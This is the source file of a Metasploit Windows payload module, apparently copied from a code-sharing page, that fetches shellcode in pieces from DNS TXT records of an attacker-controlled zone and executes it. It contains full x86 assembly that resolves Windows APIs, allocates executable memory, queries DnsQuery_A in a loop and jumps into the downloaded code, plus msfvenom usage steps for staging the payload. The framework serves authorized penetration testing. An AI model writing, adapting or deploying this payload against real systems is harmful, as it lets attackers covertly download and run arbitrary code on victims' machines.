Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/dns_txt_query_exec.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 28589include Msf::Payload::Windows10include Msf::Payload::Single1112def initialize(info = {})13super(merge_info(info,14'Name' => 'DNS TXT Record Payload Download and Execution',15'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload',16'Author' =>17[18'corelanc0d3r <peter.ve[at]corelan.be>'19],20'License' => MSF_LICENSE,21'Platform' => 'win',22'Arch' => ARCH_X8623))2425# EXITFUNC is not supported26deregister_options('EXITFUNC')2728# Register command execution options29register_options(30[31OptString.new('DNSZONE', [ true, "The DNS zone to query" ]),32])33end3435#36# Usage :37# 1. Generate the shellcode you want to deliver via DNS TXT queries38# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister39# Example :40# ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw41# Output : 658 bytes42# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)43# In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes44# 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record45# The last TXT record might have less than 255 bytes, that's fine46# The first part must be stored in the TXT record for prefix a.<yourdomain.com>47# The second part must be stored in the TXT record for b.<yourdomain.com>48# etc49# First part must start with a. and all parts must be placed in consecutive records50# 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records51# Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c52# (Example will show a messagebox)53#54# DNS TXT Records :55# a.corelan.eu : contains first 255 bytes of the alpha shellcode56# b.corelan.eu : contains the next 255 bytes of the alpha shellcode57# c.corelan.eu : contains the last 144 bytes of the alpha shellcode5859def generate(_opts = {})6061dnsname = datastore['DNSZONE']62wType = 0x0010 #DNS_TYPE_TEXT (TEXT)63wTypeOffset = 0x1c6465queryoptions = 0x24866# DNS_QUERY_RETURN_MESSAGE (0x200)67# DNS_QUERY_BYPASS_CACHE (0x08)68# DNS_QUERY_NO_HOSTS_FILE (0x40)69# DNS_QUERY_ONLY_TCP (0x02) <- not used atm7071bufferreg = "edi"7273#create actual payload74payload_data = <<EOS75cld ; clear direction flag76call start ; start main routine77; Stephen Fewer's block_api78; block_api code (Stephen Fewer)79api_call:80pushad ; We preserve all the registers for the caller, bar EAX and ECX.81mov ebp, esp ; Create a new stack frame82xor edx, edx ; Zero EDX83mov edx, fs:[edx+48] ; Get a pointer to the PEB84mov edx, [edx+12] ; Get PEB->Ldr85mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list86next_mod:87mov esi, [edx+40] ; Get pointer to modules name (unicode string)88movzx ecx, word [edx+38] ; Set ECX to the length we want to check89xor edi, edi ; Clear EDI which will store the hash of the module name90loop_modname: ;91xor eax, eax ; Clear EAX92lodsb ; Read in the next byte of the name93cmp al, 'a' ; Some versions of Windows use lower case module names94jl not_lowercase ;95sub al, 0x20 ; If so normalise to uppercase96not_lowercase: ;97ror edi, 13 ; Rotate right our hash value98add edi, eax ; Add the next byte of the name99loop loop_modname ; Loop until we have read enough100; We now have the module hash computed101push edx ; Save the current position in the module list for later102push edi ; Save the current module hash for later103; Proceed to iterate the export address table,104mov edx, [edx+16] ; Get this modules base address105mov eax, [edx+60] ; Get PE header106add eax, edx ; Add the modules base address107mov eax, [eax+120] ; Get export tables RVA108test eax, eax ; Test if no export address table is present109jz get_next_mod1 ; If no EAT present, process the next module110add eax, edx ; Add the modules base address111push eax ; Save the current modules EAT112mov ecx, [eax+24] ; Get the number of function names113mov ebx, [eax+32] ; Get the rva of the function names114add ebx, edx ; Add the modules base address115; Computing the module hash + function hash116get_next_func: ;117jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module118dec ecx ; Decrement the function name counter119mov esi, [ebx+ecx*4] ; Get rva of next module name120add esi, edx ; Add the modules base address121xor edi, edi ; Clear EDI which will store the hash of the function name122; And compare it to the one we want123loop_funcname: ;124xor eax, eax ; Clear EAX125lodsb ; Read in the next byte of the ASCII function name126ror edi, 13 ; Rotate right our hash value127add edi, eax ; Add the next byte of the name128cmp al, ah ; Compare AL (the next byte from the name) to AH (null)129jne loop_funcname ; If we have not reached the null terminator, continue130add edi, [ebp-8] ; Add the current module hash to the function hash131cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for132jnz get_next_func ; Go compute the next function hash if we have not found it133; If found, fix up stack, call the function and then value else compute the next one...134pop eax ; Restore the current modules EAT135mov ebx, [eax+36] ; Get the ordinal table rva136add ebx, edx ; Add the modules base address137mov cx, [ebx+2*ecx] ; Get the desired functions ordinal138mov ebx, [eax+28] ; Get the function addresses table rva139add ebx, edx ; Add the modules base address140mov eax, [ebx+4*ecx] ; Get the desired functions RVA141add eax, edx ; Add the modules base address to get the functions actual VA142; We now fix up the stack and perform the call to the desired function...143finish:144mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad145pop ebx ; Clear off the current modules hash146pop ebx ; Clear off the current position in the module list147popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered148pop ecx ; Pop off the original return address our caller will have pushed149pop edx ; Pop off the hash value our caller will have pushed150push ecx ; Push back the correct return value151jmp eax ; Jump into the required function152; We now automagically return to the correct caller...153get_next_mod: ;154pop eax ; Pop off the current (now the previous) modules EAT155get_next_mod1: ;156pop edi ; Pop off the current (now the previous) modules hash157pop edx ; Restore our position in the module list158mov edx, [edx] ; Get the next module159jmp.i8 next_mod ; Process this module160161; actual routine162start:163pop ebp ; get ptr to block_api routine164165; first allocate some space in heap to hold payload166alloc_space:167xor eax,eax ; clear EAX168push 0x40 ; flProtect (RWX)169mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)170push eax ; flAllocationType MEM_COMMIT (0x1000)171push eax ; dwSize (0x1000)172push 0x0 ; lpAddress173push 0xE553A458 ; kernel32.dll!VirtualAlloc174call ebp175push eax ; save pointer on stack, will be used in memcpy176mov #{bufferreg}, eax ; save pointer, to jump to at the end177178179;load dnsapi.dll180load_dnsapi:181xor eax,eax ; put part of string (hex) in eax182mov al,0x70183mov ah,0x69184push eax ; Push 'dnsapi' to the stack185push 0x61736e64 ; ...186push esp ; Push a pointer to the 'dnsapi' string on the stack.187push 0x0726774C ; kernel32.dll!LoadLibraryA188call ebp ; LoadLibraryA( "dnsapi" )189190;prepare for loop of queries191mov bl,0x61 ; first query, start with 'a'192193dnsquery:194jmp.i8 get_dnsname ; get dnsname195196get_dnsname_return:197pop eax ; get ptr to dnsname (lpstrName)198mov [eax],bl ; patch sequence number in place199xchg esi,ebx ; save sequence number200push esp ; prepare ppQueryResultsSet201pop ebx ; (put ptr to ptr to stack on stack)202sub ebx,4203push ebx204push 0x0 ; pReserved205push ebx ; ppQueryResultsSet206push 0x0 ; pExtra207push #{queryoptions} ; Options208push #{wType} ; wType209push eax ; lpstrName210push 0xC99CC96A ; dnsapi.dll!DnsQuery_A211call ebp ;212test eax, eax ; query ok ?213jnz jump_to_payload ; no, jump to payload214jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it215216217get_dnsname:218call get_dnsname_return219db "a.#{dnsname}", 0x00220221get_query_result:222xchg #{bufferreg},edx ; save start of heap223pop #{bufferreg} ; heap structure containing DNS results224mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1225cmp eax,1226jne prepare_payload ; jmp to payload227add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply228mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply229230copy_piece_to_heap:231xchg ebx,esi ; save counter232mov esi,edi ; set source233mov edi,[esp+0x8] ; retrieve heap destination for memcpy234xor ecx,ecx ; clear ecx235mov cl,0xff ; always copy 255 bytes, no matter what236rep movsb ; copy from ESI to EDI237push edi ; save target for next copy238push edi ; 2 more times to make sure it's at esp+8239push edi ;240inc ebx ; increment sequence241xchg #{bufferreg},edx ; restore start of heap242jmp.i8 dnsquery ; try to get the next piece, if any243244prepare_payload:245mov #{bufferreg},edx246247jump_to_payload:248jmp #{bufferreg} ; jump to it249250251252EOS253self.assembly = payload_data254super255end256end257258259